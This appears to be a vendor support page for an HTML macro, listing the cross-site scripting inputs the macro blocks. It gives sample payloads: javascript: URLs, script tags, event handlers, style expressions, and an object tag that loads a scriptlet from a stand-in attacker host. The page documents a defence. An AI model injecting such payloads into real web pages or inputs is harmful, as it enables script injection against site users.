---
title: "List of security vulnerabilities prevented"
canonical: "https://support.appfire.com/space/MARKDOWN/72385200/List%20of%20security%20vulnerabilities%20prevented"
format: markdown
---
> Macro (aura-html)

- <span style="color: #172b4d">Usage of <a> tag with the 'ahref' attribute:</span>

```
<a href='javascript:alert("Test");'>Test 1</a>
<a href='javascript:alert("Test Vulnerability through a href unicode");'>Test 2</a>
(or)
[javascript:alert('Test Vulnerability through a href');]
```

- <span style="color: #000000">Usage of JavaScript:</span>

```
<script>alert('Test Vulnerability through script');</script>
```

- Usage of script with include:

```
<script type="text/javascript" src="https://<somesite>/include.js"></script>
```

- Usage if iframe with include:

```
<iframe src="https://bobswift.atlassian.com"></iframe>
```

- Usage of 'onXxx' events irrespective of the tags:

```
<div style="padding: 20px; opacity: 0;height: 20px;" onmouseout="alert('Test Vulnerbility through onXxx events')"></div>
<img src="smiley.gif" alt="Smiley face" height="42" width="42" onerror="alert('No file found')">
```

- Usage of script in the src attribute:

```
<img src="javascript:alert("XSS");">
<img dynsrc="javascript:alert('XSS')">
<img lowsrc="javascript:alert('XSS')">
<input type="image" src="javascript:alert('XSS');">
```

- Usage of script in the background attribute:

```
<body background="javascript:alert("XSS")">
<table background="javascript:alert('XSS')">
<td background="javascript:alert('XSS')">
```

- Usage of link tag with href:

```
<link rel="stylesheet" href="javascript:alert('XSS');">
```

- Usage of script in the style attribute:

```
<div style="background-image: url(javascript:alert('XSS'))">
<div style="width: expression(alert('XSS'));">
```

- Usage of object with include:

```
<object type="text/x-scriptlet" data="http://hacker.com/xss.html">
```